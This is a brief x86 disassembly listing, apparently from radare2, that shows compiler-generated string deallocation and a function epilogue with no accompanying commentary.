push ecx
push edx
call fcn.00c154f3
add esp, 8
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0xcad68d
inc ecx
mov edx, dword [ebp - 0x70]
mov eax, edx
cmp ecx, 0x1000
jb 0xcad683
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xcad6b9
push ecx
push edx
call fcn.00c154f3
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00c1a870
int3